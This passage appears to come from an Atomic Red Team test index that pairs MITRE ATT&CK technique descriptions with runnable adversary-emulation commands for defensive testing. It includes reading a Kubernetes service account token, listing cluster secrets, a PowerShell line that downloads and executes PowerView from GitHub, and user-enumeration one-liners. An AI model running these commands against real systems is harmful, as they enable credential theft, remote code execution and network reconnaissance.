        sensitive information, such as passwords and connection strings in the cluster.
        Secrets can be consumed by reference in the pod configuration. Attackers who
        have permissions to retrieve the secrets from the API server (by using the
        pod service account, for example) can access sensitive information that might
        include credentials to various services.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl get secrets -n #{namespace}

          '
        name: bash
        elevation_required: false
    - name: Cat the contents of a Kubernetes service account token file
      auto_generated_guid: 788e0019-a483-45da-bcfe-96353d46820f
      description: 'Access the Kubernetes service account access token stored within
        a container in a cluster.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      - description: Verify kind is in the path.
        prereq_command: 'which kind

          '
        get_prereq_command: |
          curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
          chmod +x ./kind
          mv kind /usr/bin/kind
      - description: Verify kind-atomic-cluster is created
        prereq_command: 'sudo kind get clusters

          '
        get_prereq_command: 'sudo kind create cluster --name atomic-cluster

          '
      - description: Verify kubectl is in path
        prereq_command: 'which kubectl

          '
        get_prereq_command: |
          curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
          chmod +x ./kubectl
          mv kubectl /usr/bin/kubectl
      - description: Verify atomic-pod is running.
        prereq_command: 'kubectl --context kind-atomic-cluster get pods |grep atomic-pod

          '
        get_prereq_command: 'kubectl --context kind-atomic-cluster run atomic-pod
          --image=alpine --command -- sleep infinity

          '
      executor:
        command: 'kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token

          '
        name: sh
        cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-pod

          '
  T1556.004:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      created: '2020-10-19T17:58:04.155Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: Mandiant - Synful Knock
        url: https://www.mandiant.com/resources/synful-knock-acis
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: Network Device Authentication
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
discovery:
  T1033:
    technique:
      modified: '2023-09-29T19:50:06.736Z'
      name: System Owner/User Discovery
      description: |-
        Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

        On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        `System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Access'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Windows Registry: Windows Registry Key Access'
      - 'File: File Access'
      - 'Process: Process Access'
      type: attack-pattern
      id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104
      created: '2017-05-31T21:30:35.733Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1033
        external_id: T1033
      - source_name: show_ssh_users_cmd_cisco
        description: 'Cisco. (2023, March 7). Cisco IOS Security Command Reference:
          Commands S to Z . Retrieved July 13, 2022.'
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html
      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1033
    atomic_tests:
    - name: System Owner/User Discovery
      auto_generated_guid: 4c4959bf-addf-4b4a-be86-8d09cc1857aa
      description: "Identify System owner or users on an endpoint.\n\nUpon successful
        execution, cmd.exe will spawn multiple commands against a target host to identify
        usernames. Output will be via stdout. \nAdditionally, two files will be written
        to disk - computers.txt and usernames.txt.\n"
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of remote computer
          type: string
          default: localhost
      executor:
        command: |
          cmd.exe /C whoami
          wmic useraccount get /ALL
          quser /SERVER:"#{computer_name}"
          quser
          qwinsta.exe /server:#{computer_name}
          qwinsta.exe
          for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
          @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
        name: command_prompt
    - name: System Owner/User Discovery
      auto_generated_guid: 2a9b677d-a230-44f4-ad86-782df1ef108c
      description: |
        Identify System owner or users on an endpoint

        Upon successful execution, sh will stdout list of usernames.
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          users
          w
          who
        name: sh
    - name: Find computers where user has session - Stealth mode (PowerView)
      auto_generated_guid: 29857f27-a36f-4f7e-8084-4557cd6207ca
      description: Find existing user session on other computers. Upon execution,
        information about any sessions discovered will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
        name: powershell
    - name: User Discovery With Env Vars PowerShell Script
      auto_generated_guid: dcb6cdee-1fb0-4087-8bf8-88cfd136ba51
      description: Use the PowerShell environment variables to identify the current
        logged user.
      supported_platforms:
      - windows
      executor:
        command: "[System.Environment]::UserName | Out-File -FilePath .\\CurrentactiveUser.txt
          \n$env:UserName | Out-File -FilePath .\\CurrentactiveUser.txt -Append\n"
        cleanup_command: 'Remove-Item -Path .\CurrentactiveUser.txt -Force

          '
        name: powershell
    - name: GetCurrent User with PowerShell Script
      auto_generated_guid: 1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b
      description: Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET
        class to identify the logged user.
      supported_platforms:
      - windows
      executor:
        command: "[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File
          -FilePath .\\CurrentUserObject.txt\n"
        cleanup_command: 'Remove-Item -Path .\CurrentUserObject.txt -Force

          '
        name: powershell
    - name: System Discovery - SocGholish whoami
      auto_generated_guid: 3d257a03-eb80-41c5-b744-bb37ac7f65c7
      description: "SocGholish performs whoami discovery commands and outputs the
        results to a tmp file. \nThe test will generate a filename similar to the
        random one generated during execution and write the file to AppData\\Temp.\n\nReference:
        https://redcanary.com/threat-detection-report/threats/socgholish/\n"
      supported_platforms:
      - windows
      input_arguments:
        output_path:
          description: Location of output file
          type: string
          default: "$env:temp"
      executor:
        command: |
          $TokenSet = @{
            U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
            N = [Char[]]'0123456789'
          }
          $Upper = Get-Random -Count 5 -InputObject $TokenSet.U
          $Number = Get-Random -Count 5 -InputObject $TokenSet.N
          $StringSet = $Upper + $Number
          $rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
          $file = "rad" + $rad + ".tmp"

          whoami.exe /all >> #{output_path}\$file
        cleanup_command: 'Remove-Item -Path #{output_path}\rad*.tmp -Force

          '
        name: powershell
    - name: System Owner/User Discovery Using Command Prompt
      auto_generated_guid: ba38e193-37a6-4c41-b214-61b33277fe36
      description: Identify the system owner or current user using native Windows
        command prompt utilities.
      supported_platforms:
      - windows
      input_arguments:
        output_file_path:
          description: Location of output file.
          type: string
          default: "$env:temp"
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          set file=#{output_file_path}\user_info_%random%.tmp
          echo Username: %USERNAME% > %file%
          echo User Domain: %USERDOMAIN% >> %file%
          net users >> %file%
          query user >> %file%
        cleanup_command: 'del #{output_file_path}\\user_info_*.tmp

          '
  T1613:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Container and Resource Discovery
      description: "Adversaries may attempt to discover containers and other resources
        that are available within a containers environment. Other resources may include
        images, deployments, pods, nodes, and other information such as the status
        of a cluster.\n\nThese resources can be viewed within web applications such
        as the Kubernetes dashboard or can be queried via the Docker and Kubernetes
        APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may
        leak information about the environment, such as the environment’s configuration,
        which services are available, and what cloud provider the victim may be utilizing.
        The discovery of these resources may inform an adversary’s next steps in the
        environment, such as how to perform lateral movement and which methods to
        utilize for execution. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Vishwas Manral, McAfee
      - Center for Threat-Informed Defense (CTID)
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: "Establish centralized logging for the activity of container
        and Kubernetes cluster components. This can be done by deploying logging agents
        on Kubernetes nodes and retrieving logs from sidecar proxies for application
        pods to detect malicious activity at the cluster level.\n\nMonitor logs for
        actions that could be taken to gather information about container infrastructure,
        including the use of discovery API calls by new or unexpected users. Monitor
        account activity logs to see actions performed and activity associated with
        the Kubernetes dashboard and other web applications. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Pod: Pod Enumeration'
      - 'Container: Container Enumeration'
      type: attack-pattern
      id: attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336
      created: '2021-03-31T14:26:00.848Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1613
        external_id: T1613
      - source_name: Docker API
        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
          March 31, 2021.
        url: https://docs.docker.com/engine/api/v1.41/
      - source_name: Kubernetes API
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1613
    atomic_tests:
    - name: Docker Container and Resource Discovery
      auto_generated_guid: ea2255df-d781-493b-9693-ac328f9afc3f
      description: Adversaries may attempt to discover containers and other resources
        that are available within a containers environment.
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify Docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify Docker service is running.
        prereq_command: 'sudo systemctl status docker --no-pager

          '
        get_prereq_command: "sudo systemctl start docker \n"
      executor:
        command: |-
          docker build -t t1613 $PathtoAtomicsFolder/T1613/src/
          docker run --name t1613_container -d -t t1613
          docker ps
          docker stats --no-stream
          docker inspect $(docker ps -l -q --filter ancestor=t1613)
        cleanup_command: |-
          docker stop t1613_container
          docker rmi -f t1613_container
        name: sh
    - name: Podman Container and Resource Discovery
      auto_generated_guid: fc631702-3f03-4f2b-8d8a-6b3d055580a1
      description: Adversaries may attempt to discover containers and other resources
        that are available within a containers environment.
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify Podman is installed.
        prereq_command: 'which podman

          '
        get_prereq_command: "if [ \"\" == \"`which podman`\" ]; then echo \"Podman
          Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install
          podman ; elif [ -n \"`which yum`\" ]; then sudo yum -y install podman ;
          elif [ -n \"`which pacman`\" ]; then sudo pacman -Sy podman --noconfirm
          ; elif [ -n \"`which brew`\" ]; then brew install podman ; else echo \"Unsupported
          package manager\"; fi ; else echo \"Podman installed\"; fi        \n"
      - description: Verify Podman service is running.
        prereq_command: 'sudo systemctl status podman --no-pager

          '
        get_prereq_command: "sudo systemctl start podman \n"
      executor:
        command: |-
          podman build -t t1613 $PathtoAtomicsFolder/T1613/src/
          podman run --name t1613_container -d -t t1613
          podman ps
          podman stats --no-stream
          podman inspect $(podman ps -l -q --filter ancestor=t1613)
        cleanup_command: |-
          podman stop t1613_container
          podman rmi -f t1613_container
        name: sh
  T1016.001:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc
      type: attack-pattern
      created: '2021-03-17T15:28:10.689Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1016.001
        url: https://attack.mitre.org/techniques/T1016/001
      modified: '2022-04-25T14:00:00.188Z'
      name: Internet Connection Discovery
      description: |-
        Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.

        Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1069:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Permission Groups Discovery
      description: |-
        Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

        Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Daniel Prizmant, Palo Alto Networks
      - Yuval Avrahami, Palo Alto Networks
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Group: Group Metadata'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'Group: Group Enumeration'
      type: attack-pattern
      id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce
      created: '2017-05-31T21:30:55.471Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1069
        external_id: T1069
      - source_name: K8s Authorization Overview
        description: Kubernetes. (n.d.). Authorization Overview. Retrieved June 24,
          2021.
        url: https://kubernetes.io/docs/reference/access-authn-authz/authorization/
      - source_name: CrowdStrike BloodHound April 2018
        description: 'Red Team Labs. (2018, April 24). Hidden Administrative Accounts:
          BloodHound to the Rescue. Retrieved October 28, 2020.'
        url: https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1069.003:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Cloud Groups
      description: |-
        Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

        With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).

        Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

        Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Regina Elwell
      - Isif Ibrahima, Mandiant
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      - 'Group: Group Metadata'
      - 'Group: Group Enumeration'
      type: attack-pattern
      id: attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2
      created: '2020-02-21T21:15:33.222Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1069/003
        external_id: T1069.003
      - source_name: AWS Get Bucket ACL
        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
        url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html
      - source_name: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022
        description: 'Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials:
          Case Studies From the Wild. Retrieved March 9, 2023.'
        url: https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
      - source_name: Black Hills Red Teaming MS AD Azure, 2018
        description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
          Directory Leaks via Azure. Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
      - source_name: Google Cloud Identity API Documentation
        description: Google. (n.d.). Retrieved March 16, 2021.
        url: https://cloud.google.com/identity/docs/reference/rest
      - source_name: Microsoft AZ CLI
        description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
      - source_name: Microsoft Msolrole
        description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
      - source_name: GitHub Raindance
        description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
          6, 2019.
        url: https://github.com/True-Demon/raindance
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1615:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Group Policy Discovery
      description: |-
        Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

        Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.

        Monitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Ted Samuels, Rapid7
      - Jonhnathan Ribeiro, 3CORESec, @_w0rk3r
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Active Directory: Active Directory Object Access'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b
      created: '2021-08-06T13:10:12.916Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1615
        external_id: T1615
      - source_name: ADSecurity GPO Persistence 2016
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
        url: https://adsecurity.org/?p=2716
      - source_name: Microsoft gpresult
        description: Microsoft. (2017, October 16). gpresult. Retrieved August 6,
          2021.
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
      - source_name: Github PowerShell Empire
        description: Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire.
          Retrieved April 28, 2016.
        url: https://github.com/PowerShellEmpire/Empire
      - source_name: TechNet Group Policy Basics
        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
          Understanding the Structure of a Group Policy Object. Retrieved March 5,
          2019.'
        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1615
    atomic_tests:
    - name: Display group policy information via gpresult
      auto_generated_guid: '0976990f-53b1-4d3f-a185-6df5be429d3b'
      description: |
